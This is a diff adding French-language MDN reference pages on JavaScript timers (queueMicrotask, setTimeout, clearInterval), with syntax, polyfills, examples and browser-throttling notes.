+title: WindowOrWorkerGlobalScope.queueMicrotask()
+slug: Web/API/WindowOrWorkerGlobalScope/queueMicrotask
+tags:
+  - API
+  - Asynchrone
+  - HTML DOM
+  - Intervales
+  - JavaScript
+  - Micro-tâche
+  - Microtask
+  - Minuteurs
+  - Méthode
+  - Performance
+  - ServiceWorker
+  - SharedWorker
+  - Tâches
+  - Window
+  - WindowOrWorkerGlobalScope
+  - Worker
+  - queueMicrotask
+  - setTimeout
+translation_of: Web/API/WindowOrWorkerGlobalScope/queueMicrotask
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">La méthode <code><strong>queueMicrotask()</strong></code>, qui est exposée par {{domxref("Window")}} ou l'interface {{domxref("Worker")}}, met en file d'attente une micro-tâche qui doit être exécutée à un moment sûr avant que le contrôle soit retourné à la boucle d'événement du navigateur.</span> La micro-tâche est une fonction courte qui doit être exécutée après que la tâche actuelle ait terminé son exécution et lorsqu'il n'y a pas d'autre code en attente d'exécution avant que le contrôle du contexte d'exécution soit retourné à la boucle d'événement du navigateur.</p>
+
+<p>Cela permet à votre code de fonctionner sans interférer avec aucun autre code potentiellement à une plus haute priorité en attente, mais avant que le navigateur ne regagne le contrôle du contexte d'exécution, qui dépend potentiellement de la tâche que vous devez effectuer. Vous pouvez en apprendre plus sur comment utiliser les micro-tâches et pourquoi vous devriez le faire dans notre <a href="/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide">microtask guide</a>.</p>
+
+<p>L'importance des micro-tâches vient de leur possibilité d'effectuer des tâches de manière asynchrone mais dans un ordre spécifique. Voir <a href="/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide">Using microtasks in JavaScript with queueMicrotask()</a> pour plus de détails.</p>
+
+<p>Les micro-tâches sont particulièrement utiles pour les librairies et les frameworks qui doivent effectuer un nettoyage final ou d'autres tâches à exécuter avant le rendu.</p>
+
+<p><code>queueMicrotask()</code> est exposé dans la mixin {{domxref("WindowOrWorkerGlobalScope")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>scope</em>.queueMicrotask(<em>function</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>function</code></dt>
+ <dd>Une {{jsxref("function")}} qui doit être exécutée lorsque le moteur du navigateur détermine qu'il est sûr d'appeler votre code. Les micro-tâches mises en files d'attente sont exécutées après la fin de toutes les tâches en attente mais avant de céder le contrôle à la boucle d'événement du navigateur.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>undefined</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">self.queueMicrotask(() =&gt; {
+  // function contents here
+})</pre>
+
+<p>Tiré de la <a href="https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#microtask-queuing">spécification de queueMicrotask</a> :</p>
+
+<pre class="brush: js">MyElement.prototype.loadData = function (url) {
+  if (this._cache[url]) {
+    queueMicrotask(() =&gt; {
+      this._setData(this._cache[url]);
+      this.dispatchEvent(new Event("load"));
+    });
+  } else {
+    fetch(url).then(res =&gt; res.arrayBuffer()).then(data =&gt; {
+      this._cache[url] = data;
+      this._setData(data);
+      this.dispatchEvent(new Event("load"));
+    });
+  }
+};</pre>
+
+<h2 id="Lorsque_queueMicrotask_nest_pas_disponible">Lorsque queueMicrotask() n'est pas disponible</h2>
+
+<p>Le code ci-dessous est une prothèse d'émulation (<em>polyfill</em>) pour <code>queueMicrotask()</code>. Il crée une micro-tâche en utilisant une promesse qui se résout immédiatement, et utilise un timeout si la promesse ne peut pas être créée.</p>
+
+<pre class="brush: js">if (typeof window.queueMicrotask !== "function") {
+  window.queueMicrotask = function (callback) {
+    Promise.resolve()
+      .then(callback)
+      .catch(e =&gt; setTimeout(() =&gt; { throw e; }));
+  };
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "timers-and-user-prompts.html#microtask-queuing", "self.queueMicrotask()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.<br>
+<br>
+NOTE: data on this has been submitted; just waiting on it to be reviewed, merged, and for a new data release before it will show up here. See https://github.com/mdn/browser-compat-data/pull/4754 for PR.</div>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.queueMicrotask")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide">Using microtasks in JavaScript with queueMicrotask()</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous">Asynchronous JavaScript</a></li>
+ <li><a href="https://github.com/fergald/docs/blob/master/explainers/queueMicrotask.md">queueMicrotask explainer</a></li>
+ <li><a href="https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules/">Tasks, microtasks, queues and schedules</a> by Jake Archibald</li>
+</ul>
diff --git a/files/fr/web/api/windoworworkerglobalscope/settimeout/index.html b/files/fr/web/api/windoworworkerglobalscope/settimeout/index.html
new file mode 100644
index 0000000000..2c549c7d04
--- /dev/null
+++ b/files/fr/web/api/windoworworkerglobalscope/settimeout/index.html
@@ -0,0 +1,362 @@
+---
+title: WindowOrWorkerGlobalScope.setTimeout()
+slug: Web/API/WindowOrWorkerGlobalScope/setTimeout
+tags:
+  - API
+  - HTML DOM
+  - Méthode
+  - Reference
+translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La méthode <strong><code>setTimeout()</code></strong>, rattachée au <em>mixin</em>  {{domxref("WindowOrWorkerGlobalScope")}} (et qui succède à <code>window.setTimeout()</code>) permet de définir un « minuteur » (<em>timer</em>) qui exécute une fonction ou un code donné après la fin du délai indiqué.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>var identifiant</em> = <em>scope</em>.setTimeout(<em>fonction</em>[, <em>delai</em>, <em>param1</em>, <em>param2</em>, ...]);
+<em>var</em> <em>identifiant</em> = <em>scope</em>.setTimeout(<em>fonction</em>[, <em>delai</em>]);
+<em>var identifiant</em> = <em>scope</em>.setTimeout(<em>code</em>[, <em>delai</em>]);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>function</code></dt>
+ <dd>Une fonction ({{jsxref("function")}}) qui doit être exécuté au déclenchement du minuteur après le temps imparti.</dd>
+ <dt><code>code</code></dt>
+ <dd>Une chaîne de caractères qui représente le code à exécuter. Cette chaîne est compilée et exécutée à l'expiration du minuteur. Pour des raisons analogues à celles exprimées avec {{jsxref("Objets_globaux/eval", "eval()")}}, cette syntaxe n'est pas <strong>recommandée</strong>.</dd>
+ <dt><code>delai</code> {{optional_inline}}</dt>
+ <dd>La durée, exprimée en millisecondes, à attendre avant que la fonction indiquée soit exécutée. Par défaut, ce paramètre vaut 0, ce qui signifiie que la fonction est exécutée dès que possible. La durée réelle mesurée avant l'exécution de la fonction peut être supérieure à ce paramètre, voir <a href="#durée">la section ci-après</a>.</dd>
+ <dt><code>param1, … , paramN</code> {{optional_inline}}</dt>
+ <dd>D'autres paramètres qui seront passés à la fonction une fois que le temps est écoulé.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong> : La première syntaxe utilisant les paramètres supplémentaires ne fonctionne pas pour Internet Explorer 9 et les versions antérieures. Si vous souhaitez obtenir cette fonctionnalité pour ce navigateur, vous devrez utiliser une prothèse, <a href="#polyfill">voir ci-après</a>.</p>
+</div>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur renvoyée par la fonction est un entier qui représente un identifiant du minuteur créé par l'appel à <code>setTimeout()</code>. Cet identifiant pourra être passé à la méthode {{domxref("WindowOrWorkerGlobalScope.clearTimeout","clearTimeout()")}} afin d'annuler ce minuteur donné.</p>
+
+<p>Il peut être utile de savoir que <code>setTimeout()</code> et {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} partagent le même ensemble d'identifiants et que  <code>clearTimeout()</code> et {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} sont, techniquement, interchangeables. Toutefois pour des raisons de lisibilité et de maintenance, mieux vaut les utiliser par paires plutôt que de les mélanger.</p>
+
+<p>Le moteur d'exécution garantit qu'un identifiant donné ne sera pas réutilisé par un appel ultérieur à <code>setTimeout()</code> ou <code>setInterval()</code> pour un même objet (une fenêtre ou un <em>worker</em>). En revanche, différents objets possèdent chacun leurs ensembles d'identifiants.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on dispose deux boutons classiques auxquels on associe, via des gestionnaires d'évènements, des fonctions qui utilisent <code>setTimeout()</code> et <code>clearTimeout()</code>. Utiliser le premier bouton déclenchera un minuteur qui affichera une boîte de dialogue après deux secondes. L'identifiant est enregistré à la création du minuteur et on peut annuler le minuteur en cours en appuyant sur le deuxième bouton (dont la fonction associée au gestionnaire d'évènements utilise <code>clearTimeout()</code>).</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button onclick="delayedAlert();"&gt;
+  Affiche une alerte après deux secondes
+&lt;/button&gt;
+&lt;p&gt;&lt;/p&gt;
+&lt;button onclick="clearAlert();"&gt;
+  Annuler l'alerte avant qu'elle ne se déclenche
+&lt;/button&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var timeoutID;
+
+function delayedAlert() {
+  timeoutID = window.setTimeout(slowAlert, 2000);
+}
+
+function slowAlert() {
+  alert("C'était long…");
+}
+
+function clearAlert() {
+  window.clearTimeout(timeoutID);
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Voir aussi les exemples pour <a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/clearTimeout#Exemples"><code>clearTimeout()</code></a>.</p>
+</div>
+
+<h2 id="Prothèse_d'émulation_(polyfill)"><a name="polyfill">Prothèse d'émulation (<em>polyfill</em>)</a></h2>
+
+<p>S'il vous faut passer un ou plusieurs arguments à la fonction de rappel tout en prenant en charge Internet Explorer 9 et les versions antérieures, vous pouvez utiliser cette prothèse qui ajoute la prise en charge des paramètres additionnels :</p>
+
+<pre class="brush: js">/*\
+|*|
+|*|  Polyfill which enables the passage of arbitrary arguments to the
+|*|  callback functions of JavaScript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/window.setInterval
+|*|
+\*/
+
+(function() {
+  setTimeout(function(arg1) {
+    if (arg1 === 'test') {
+      // l'argument est passé, pas besoin de prothèse
+      return;
+    }
+    var __nativeST__ = window.setTimeout;
+    window.setTimeout = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeST__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+
+  var interval = setInterval(function(arg1) {
+    clearInterval(interval);
+    if (arg1 === 'test') {
+    // l'argument est passé, pas besoin de prothèse
+      return;
+    }
+    var __nativeSI__ = window.setInterval;
+    window.setInterval = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeSI__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+}())
+</pre>
+
+<h3 id="Correctif_ciblé_sur_IE">Correctif ciblé sur IE</h3>
+
+<p>Si vous souhaitez ne cibler que IE 9 et antérieurs, vous pouvez utiliser les commentaires conditionnels JavaScript :</p>
+
+<pre class="brush: js">/*@cc_on
+  // conditional IE &lt; 9 only fix
+  @if (@_jscript_version &lt;= 9)
+  (function(f){
+     window.setTimeout = f(window.setTimeout);
+     window.setInterval = f(window.setInterval);
+  })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}});
+  @end
+@*/
+</pre>
+
+<p>Ou plutôt les commentaires conditionnels HTML :</p>
+
+<pre class="brush: html">&lt;!--[if lte IE 9]&gt;&lt;script&gt;
+(function(f){
+window.setTimeout=f(window.setTimeout);
+window.setInterval=f(window.setInterval);
+})(function(f){return function(c,t){
+var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}
+});
+&lt;/script&gt;&lt;![endif]--&gt;
+</pre>
+
+<h3 id="Autres_méthodes_de_contournement">Autres méthodes de contournement</h3>
+
+<p>Vous pouvez également utiliser une fonction anonyme comme fonction de rappel (<em>callback</em>) :</p>
+
+<pre class="brush: js">var intervalID = setTimeout(function() {
+  maFonction('un', 'deux', 'trois');
+  }, 1000);
+</pre>
+
+<p>Voici une réécriture de l'exemple précédent avec <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es">les fonctions fléchées</a> :</p>
+
+<pre class="brush: js">var intervalID = setTimeout(() =&gt; {
+  maFonction('un', 'deux', 'trois');
+  }, 1000);
+</pre>
+
+<p>On peut également utiliser {{jsxref("Function.prototype.bind()")}} :</p>
+
+<pre class="brush: js">setTimeout(function(arg1){}.bind(undefined, 10), 1000);
+</pre>
+
+<h2 id="Le_problème_«_this_»">Le problème « <code>this</code> »</h2>
+
+<p>Lorsqu'on passe une fonction à <code>setTimeout()</code>, cette fonction peut être appelée avec une valeur <code>this</code> qui n'est pas celle qu'on attend. Ce problème est expliqué en détails dans la référence JavaScript<a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this#Dans_le_contexte_d'une_fonction">JavaScript reference</a>.</p>
+
+<h3 id="Explications">Explications</h3>
+
+<p>Le code exécuté par <code>setTimeout()</code> est appelé dans un contexte d'exécution différent de celui de la fonction où <code>setTimeout</code> a été appelé. Les règles usuelles pour la détermination de <code>this</code> s'appliquent : si <code>this</code> n'est pas défini lors de l'appel ou avec <code>bind</code>, la valeur par défaut sera l'objet global (<code>global</code> ou <code>window</code>) en mode non-strict ou {{jsxref("undefined")}} en mode strict. Aussi, le <code>this</code> utilisé par la fonction de rappel ne sera pas le même <code>this</code> que celui utilisé par la fonction ayant appelé <code>setTimeout</code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La valeur par défaut pour <code>this</code>, lors de l'utilisation d'une fonction de rappel par <code>setTimeout</code> sera toujours l'objet <code>window</code> et pas la valeur <code>undefined</code>, même en mode strict.</p>
+</div>
+
+<p>Par exemple :</p>
+
+<pre class="brush: js">monTableau = ['zéro', 'un', 'deux'];
+monTableau.maMéthode = function (sPropriété) {
+    console.log(arguments.length &gt; 0 ? this[sPropriété] : this);
+};
+
+monTableau.maMéthode();  // affichera "zéro,un,deux" dans la console
+monTableau.maMéthode(1); // affichera "un"</pre>
+
+<p>Le code qui précède fonctionne car lorsque <code>maMéthode</code> est appelée, <code>this</code> correspond à <code>monTableau</code> et qu'au sein de <code>maMéthode</code>, <code>this[sPropriété]</code> correspond alors à <code>monTableau[sPropriété]</code>. Toutefois, avec :</p>
+
+<pre class="brush: js">setTimeout(monTableau.maMéthode, 1000);
+// affiche "[object Window]" après 1 seconde
+setTimeout(monTableau.maMéthode, 1500, '1');
+// affiche "undefined" après 1.5 seconde</pre>
+
+<p>La fonction <code>monTableau.maMéthode</code> est pasée à <code>setTimeout</code> et, lorsqu'elle est appelée, <code>this</code> n'est pas défini et le moteur utilise la valeur par défaut : <code>window</code>. Il n'y apas d'option qui permettent de passer une valeur  <code>thisArg</code> à <code>setTimeout()</code> comme on peut le faire avec {{jsxref("Array.prototype.forEach()")}} ou {{jsxref("Array.prototype.reduce()")}} par exemple. Aussi, utiliser <code>call()</code> afin de définir <code>this</code> ne fonctionnera pas non plus.</p>
+
+<pre class="brush: js">setTimeout.call(monTableau, monTableau.maMéthode, 2000);
+// error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(monTableau, monTableau.maMéthode, 2500, 2);
+// même erreur
+</pre>
+
+<h3 id="Solutions_éventuelles">Solutions éventuelles</h3>
+
+<p class="note"><strong>Note</strong>: JavaScript 1.8.5 introduced the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind()</a></code> method to set the value of <code>this</code> for all calls to a given function. This can avoid having to use a wrapper function to set the value of <code>this</code> in a callback.</p>
+
+<p>Exemple d'utilisation :</p>
+
+<pre class="brush: js">var monTableau = ['zéro', 'un', 'deux'];
+var maMéthodeLiée = (function (sPropriété) {
+  console.log(arguments.length &gt; 0 ? this[sPropriété] : this);
+}).bind(monTableau);
+
+
+maMéthodeLiée(); // affiche "zéro,un,deux"
+maMéthodeLiée(1); // affiche "un"
+setTimeout(maMéthodeLiée, 1000);
+// affiche "zéro,un,deux" après une seconde
+setTimeout(maMéthodeLiée, 1500, "1");
+// affiche "un" après 1.5 seconde
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Les minuteurs peuvent être annulés avec {{domxref("WindowOrWorkerGlobalScope.clearTimeout","clearTimeout()")}}. Si on souhaite appeler une fonction de façon répétée, on utilisera plutôt {{domxref("WindowOrWorkerGlobalScope.setInterval()","setInterval()")}}.</p>
+
+<h3 id="Utiliser_des_chaînes_pour_le_code_plutôt_que_des_fonctions">Utiliser des chaînes pour le code plutôt que des fonctions</h3>
+
+<p>Passer une chaîne de caractères pour le code à exécuter, plutôt qu'une fonction, souffre des mêmes dangers que {{jsxref("Objets_globaux/eval","eval()")}}.</p>
+
+<pre class="brush: js">// Recommandé
+window.setTimeout(function() {
+    console.log('Coucou monde !');
+}, 500);
+
+// Non recommandé
+window.setTimeout("console.log('Coucou monde !');", 500);
+</pre>
+
+<p>Une chaîne de caractères passée à <code>setTimeout</code> sera évaluée dans le contexte global. Aussi, les symboles locaux au contexte de l'appel de <code>setTimeout()</code> ne seront pas accessibles au code présent dans la chaîne de caractères lors de son évaluation.</p>
+
+<h3 id="Durée_plus_longue_que_le_paramètre_indiquée"><a id="durée" name="durée">Durée plus longue que le paramètre indiquée</a></h3>
+
+<p>Plusieurs raisons peuvent expliquer une durée réelle plus longue que le délai passé en argument. Voici les plus fréquentes.</p>
+
+<h4 id="Précision_minimale_à_4ms">Précision minimale à 4ms</h4>
+
+<p>Dans les navigateurs récents les appels à <code>setTimeout()/</code>{{domxref("WindowOrworkerGlobalScope.setInterval","setInterval()")}} possèdent au plus une précision de 4ms lorsque plusieurs appels imbriqués sont réalisés. Par exemple :</p>
+
+<pre class="brush: js" id="ct-0">function cb() { f(); setTimeout(cb, 0); }
+setTimeout(cb, 0);</pre>
+
+<pre class="brush: js">setInterval(f, 0);</pre>
+
+<p>Pour Chrome et Firefox, la limitation est active à partir du cinquième appel de fonction de rappel,  Safari active la limitation à partir du sixième et Edge à partir du troisième. Gecko traite <code>setInterval()</code> de la même façon depuis la <a href="/fr/docs/Mozilla/Firefox/Releases/56">version 56</a>.</p>
+
+<p><a class="external" href="http://code.google.com/p/chromium/issues/detail?id=792#c10">Par le passé</a>, certains navigateurs implémentaient cette limite différemment (pour les appels à <code>setInterval()</code> quelle que soit leur provenance ou lorsqu'un appel <code>setTimeout()</code> était imbriqué dans un autre pour un certain nombre de niveaux d'imbrication.</p>
+
+<p>Pour implémenter un minuteur de 0ms, on pourra utiliser {{domxref("window.postMessage()")}}.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Le délai minimal est géré dans Firefox via une préférence : <code>dom.min_timeout_value</code>.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong> : Cette durée de 4 ms est <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#timers">définie dans la spécification HTML5</a> et est la même dans l'ensemble des navigateurs à partir de 2010. Avant {{geckoRelease("5.0")}}, la valeur minimale pour les appels imbriqués était 10ms.</p>
+</div>
+
+<h4 id="Précision_minimale_des_minuteurs_pour_les_onglets_inactifs_plus_de_1000ms">Précision minimale des minuteurs pour les onglets inactifs : plus de 1000ms</h4>
+
+<p>Afin de réduire la charge (ainsi que la consommation d'énergie associée) des onglets en arrière-plan, les minuteurs ne sont déclenchés au maximum qu'une fois par seconde pour les onglets inactifs.</p>
+
+<p>Firefox implémente ce comportement depuis Firefox 5 (cf.  {{bug(633421)}}) et la valeur du seuil de 1000ms peut être paramétrée via la préférence <span class="comment-copy"><code>dom.min_background_timeout_value</code>.</span> Chrome implémente ce comportement depuis la version 11 (<a class="external" href="http://crbug.com/66078">crbug.com/66078</a>).</p>
+
+<p>Firefox pour Android utilise un minimum de 15 minutes depuis Firefox 14 (cf.  {{bug(736602)}}) et les onglets en arrière-plan peuvent être déchargés complètement.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Firefox 50 ne limite plus la réactivité des onglets en arrière-plan si un contexte Web Audio API {{domxref("AudioContext")}} joue un son. Firefox 51 élargit le spectre en supprimant la limitation si un objet {{domxref("AudioContext")}} est présent dans l'onglet, même sans jouer de son. Cela a permis de résoudre différents problèmes avec certaines applications qui jouent de la musique en arrière-plan.</p>
+</div>
+
+<h4 id="Limitation_des_minuteurs_pour_les_scripts_de_pistage">Limitation des minuteurs pour les scripts de pistage</h4>
+
+<p>Depuis Firefox 55, les scripts de pistage (par exemple Google Analytics) (c'est-à-dire que toute URL que Firefox reconnaît comme appartenant à un domaine de pistage via <a href="https://wiki.mozilla.org/Security/Tracking_protection#Lists">la liste TP</a>) ont une limitation plus forte. En premier plan la limitation est toujours de 4ms mais pour les onglets en arrière-plan, la limite est à 10000ms une fois que 30 secondes se sont écoulées après le premier chargement du document.</p>
+
+<p>Ces seuils peuvent être gérés via les préférences :</p>
+
+<ul>
+ <li><code>dom.min_tracking_timeout_value</code> : 4</li>
+ <li><code>dom.min_tracking_background_timeout_value</code> : 10000</li>
+ <li><code>dom.timeout.tracking_throttling_delay</code> : 30000</li>
+</ul>
+
+<h4 id="Minuteurs_en_retard">Minuteurs en retard</h4>
+
+<p>En plus de ces limitations, le minuteur peut être déclenché plus tard si le navigateur ou le système d'opération est occupé sur d'autres tâches. On notera particulièrement que la fonction de rappel n'est pas exécutée tant que le <em>thread</em> du script n'a pas terminé. Par exemple :</p>
+
+<pre class="brush: js">function toto() {
+  console.log('appel de toto');
+}
+setTimeout(toto, 0);
+console.log('Après setTimeout');</pre>
+
+<p>affichera, dans la console :</p>
+
+<pre class="brush: js">Après setTimeout
+appel de toto</pre>
+
+<p>Ici, même si <code>setTimeout</code> a été appelé avec un délai nul, la fonction de rappel est placée dans la queue et est planifiée pour être exécutée dès que possible : ce qui n'est pas « immédiatement ». Le code courant doit finir d'être exécuté afin que les appels dans la queue puissent être dépilés.</p>
+
+<h3 id="Valeur_de_délai_maximale">Valeur de délai maximale</h3>
+
+<p>Les navigateurs que sont Internet Explorer, Chrome, Safari et Firefox stockent, en interne, la valeur du délai comme un entier sur 32 bits signé. Il y a donc un dépassement de borne si le délai est supérieur à 2147483647 millisecondes, ce qui correspond à 24.8 days. Si une telle valeur (supérieure à ce seuil) est utilisée, le minuteur est déclenché dès que possible.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-settimeout', 'WindowOrWorkerGlobalScope.setTimeout()')}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Déplacement de la méthode sur le <em>mixin</em> <code>WindowOrWorkerGlobalScope</code> dans la dernière spécification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webappapis.html#dom-settimeout", "WindowTimers.setTimeout()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Définition initiale (<em>DOM Level 0</em>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.setTimeout")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WindowOrWorkerGlobalScope.clearTimeout")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.setInterval")}}</li>
+ <li>{{domxref("window.requestAnimationFrame")}}</li>
+</ul>
diff --git a/files/fr/web/api/windowtimers/clearinterval/index.html b/files/fr/web/api/windowtimers/clearinterval/index.html
new file mode 100644
index 0000000000..8041342b1d
--- /dev/null
+++ b/files/fr/web/api/windowtimers/clearinterval/index.html
@@ -0,0 +1,73 @@
+---
+title: WindowOrWorkerGlobalScope.clearInterval()
+slug: Web/API/WindowTimers/clearInterval
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WindowOrWorkerGlobalScope
+  - clearInterval
+translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La méthode <strong><code>clearInterval()</code></strong>, rattachée au <em>mixin </em>{{domxref("WindowOrWorkerGlobalScope")}}, permet d'annuler une action répétée minutée initiée via un appel à {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>scope</em>.clearInterval(<var>intervalID</var>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>intervalID</code></dt>
+ <dd>L'identifiant de l'intervalle de répétition qu'on souhaite annuler. Cet identifiant est renvoyé lorsqu'on appelle <code>setInterval()</code> pour définir l'intervalle de répétition.</dd>
+</dl>
+
+<p>On notera que l'ensemble des identifiants utilisés est commun entre ceux fournis par {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} et ceux fournis par {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}. Cela signifie qu'on peut, techniquement, utiliser <code>clearInterval()</code> et {{domxref("WindowOrWorkerGlobalScope.clearTimeout", "clearTimeout()")}} de façon interchangeable. C'est toutefois une mauvaise pratique, qui nuit à la lisibilité du code et à sa maintenabilité.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}</p>
+
+<h2 id="Example" name="Example">Exemples</h2>
+
+<p>Voir <a href="/fr/docs/Web/API/WindowTimers/setInterval#Exemples" title="DOM/window.setInterval#Example">l'exemple <code>setInterval()</code></a>.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'WindowOrWorkerGlobalScope.clearInterval()')}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Cette méthode a été déplacée sur le <em>mixin</em> <code>WindowOrWorkerGlobalScope</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'clearInterval()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.clearInterval")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WindowOrWorkerGlobalScope.setTimeout")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.setInterval")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.clearTimeout")}}</li>
+ <li>{{domxref("Window.requestAnimationFrame")}}</li>
+</ul>
diff --git a/files/fr/web/api/worker/functions_and_classes_available_to_workers/index.html b/files/fr/web/api/worker/functions_and_classes_available_to_workers/index.html
new file mode 100644
index 0000000000..379f86edd6
--- /dev/null
+++ b/files/fr/web/api/worker/functions_and_classes_available_to_workers/index.html
@@ -0,0 +1,240 @@
+---
+title: Fonctions et classes disponibles dans les Web Workers
+slug: Web/API/Worker/Functions_and_classes_available_to_workers
+translation_of: Web/API/Web_Workers_API/Functions_and_classes_available_to_workers
+---
